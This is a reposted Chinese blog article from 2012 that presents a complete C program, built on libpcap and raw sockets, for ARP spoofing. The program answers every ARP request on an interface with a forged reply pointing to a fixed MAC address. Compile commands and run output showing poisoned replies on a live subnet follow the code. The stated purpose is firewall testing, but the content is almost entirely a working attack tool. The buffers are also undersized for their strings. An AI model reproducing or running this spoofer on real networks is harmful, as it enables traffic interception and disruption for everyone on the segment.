读书人

基于libpcap的ARP蒙骗工具

发布时间: 2012-07-01 13:15:00 作者: rapoo

基于libpcap的ARP欺骗工具

做这个工具的目的不是为了搞破坏,只是为了做防火墙测试。
由于需要模拟生产数据包,因此需要自己动手写ARP欺骗程序来回应防火墙的ARP询问。
这个程序会一直监听某个网卡,一收到ARP询问就通过rawsocket构造一个ARP回应包发送出去。
本程序有两个部分,一个是收包,基于libpcap;另一个是发包,不依赖任何第三方类库,直接通过rawsocket从链路层开始构造ARP包发出去。

#include <pcap.h>#include <stdio.h>#include <stdlib.h>#include <errno.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netinet/ether.h>#include <netpacket/packet.h>#pragma pack(1)unsigned char p_src_addr[15];   //src_ip bufferunsigned char p_dst_addr[15];   //dst_ip bufferunsigned char p_dst_mac[17];    //dst_mac bufferunsigned char* p_src_mac = "AA:BB:CC:DD:EE:FF";   //defined macunsigned char* p_interface;     //interface pointerunsigned char buffer[8192];     //rawsocket data bufferint s = -1;        //socket handlerstruct sockaddr_ll sa;          int offset = 0;                 //rawsocket data offsetu_int16_t handle_ethernet(u_char *args, const struct pcap_pkthdr* pkthdr, const u_char* packet){    struct ether_header *eptr;  /* net/ethernet.h */    eptr = (struct ether_header *) packet;    return ntohs(eptr->ether_type);}struct myarphdr{unsigned short hw_type;           /* hardware address */unsigned short protocol_type;             /* protocol address */unsigned char hw_addr_len;       /* length of hardware address */unsigned char protocol_addr_len;         /* length of protocol address */unsigned short opcode;      /*operate code 1 ask 2 reply*/unsigned char src_mac[6];struct in_addr src_ip; unsigned char dst_mac[6];struct in_addr dst_ip;unsigned char padding[18];};int setup_eth_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac){        char s_mac[6];        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);        char d_mac[6];        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);        struct ethhdr ethernet_header;        memcpy(ethernet_header.h_dest, d_mac, 6);        memcpy(ethernet_header.h_source, s_mac, 6);        ethernet_header.h_proto = htons(0x0806);        memcpy(buffer, &ethernet_header, sizeof(struct ethhdr));        return sizeof(struct ethhdr);};int setup_arp_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac, unsigned char* src_address, unsigned char* dst_address){        char s_mac[6];        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);        char d_mac[6];        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);        struct myarphdr arp_header;        arp_header.hw_type = htons(0x0001);        arp_header.protocol_type = htons(0x0800);        arp_header.hw_addr_len = (unsigned char)6;        arp_header.protocol_addr_len = (unsigned char)4;        arp_header.opcode = htons(0x0002);        memcpy(arp_header.src_mac, s_mac, 6);        arp_header.src_ip.s_addr = inet_addr(src_address);        memcpy(arp_header.dst_mac, d_mac, 6);        arp_header.dst_ip.s_addr = inet_addr(dst_address);        memset(arp_header.padding,0 , 18);        memcpy(buffer, &arp_header, sizeof(struct myarphdr));        return sizeof(struct myarphdr);}u_char* handle_arp(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){struct ether_header *eptr;struct myarphdr *arp;u_int length = pkthdr->len;eptr = (struct ether_header*)packet;    arp = (struct myarphdr*)(packet + sizeof(struct ether_header));    length -= sizeof(struct ether_header);     if (length < sizeof(struct myarphdr))    {        printf("<somebody has replied!src_mac:%s ",ether_ntoa((const struct ether_addr *)&eptr->ether_shost)); printf("dst_mac:%s\n", ether_ntoa((const struct ether_addr *)&eptr->ether_dhost));return NULL;}if(htons(arp->opcode) == 2){//arp replyreturn NULL;}memset(p_dst_mac, 0, sizeof(p_dst_mac));memcpy(p_dst_mac, ether_ntoa((const struct ether_addr *)&eptr->ether_shost), sizeof(p_dst_mac));memset(p_src_addr, 0, sizeof(p_src_addr));memset(p_dst_addr, 0, sizeof(p_dst_addr));memcpy(p_src_addr, inet_ntoa(arp->dst_ip), sizeof(p_src_addr));memcpy(p_dst_addr, inet_ntoa(arp->src_ip), sizeof(p_dst_addr));        if(s < 0){s = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));if(s < 0){                printf("Could not open raw socket.\n");                exit(-1);}        }        memset(buffer, 0 ,sizeof(buffer));        offset = 0;        sa.sll_ifindex  = if_nametoindex(p_interface);        offset = setup_eth_header(buffer, p_src_mac, p_dst_mac);        offset += setup_arp_header(buffer + offset, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);        if(sendto(s, buffer, offset, 0, (struct sockaddr *) &sa, sizeof(sa)) < 0){        printf("arp send error!\n");                exit(-1);        }else{                printf("[ARP]inter:%s src_mac:%s dsc_mac:%s src_ip:%s dst_ip:%s\n", p_interface, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);        }    return NULL;}void my_callback(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){u_int16_t type = handle_ethernet(args, pkthdr, packet);if(type == ETHERTYPE_ARP){handle_arp(args,pkthdr,packet);    }}int main (int argc, char* argv[]){        if(argc < 2){                printf("usaged:%s interface\n", argv[0]);                return 0;        }p_interface = argv[1];char ebuf[PCAP_ERRBUF_SIZE];        /*create capture handler of libpcap*/pcap_t *pd = pcap_open_live (argv[1], BUFSIZ, 1, -1, ebuf);        /*start the loop of capture, loop 5 times, enter printer when capted*/pcap_loop (pd, -1, my_callback, NULL);pcap_close (pd);if(s > 0){close(s);}        return 0;  }

?编译后执行:

[root@cnszxxxx xxxx]# gcc -o arp_trick arp_trick.c -lpcap

?执行效果如下:

[root@cnszxxxx xxxx]# ./arp_trick eth0[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:46:c9 src_ip:10.11.77.200 dst_ip:10.11.77.60somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:52:29 src_ip:10.11.77.200 dst_ip:10.11.77.79somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:2b:cd[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.43 dst_ip:10.11.77.108[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.56 dst_ip:10.11.77.108[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:16:1c src_ip:10.11.77.40 dst_ip:10.11.77.41somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:16:1c[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.61 dst_ip:10.11.77.62[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.40 dst_ip:10.11.77.62somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53
?

?

读书人网 >开源软件

热点推荐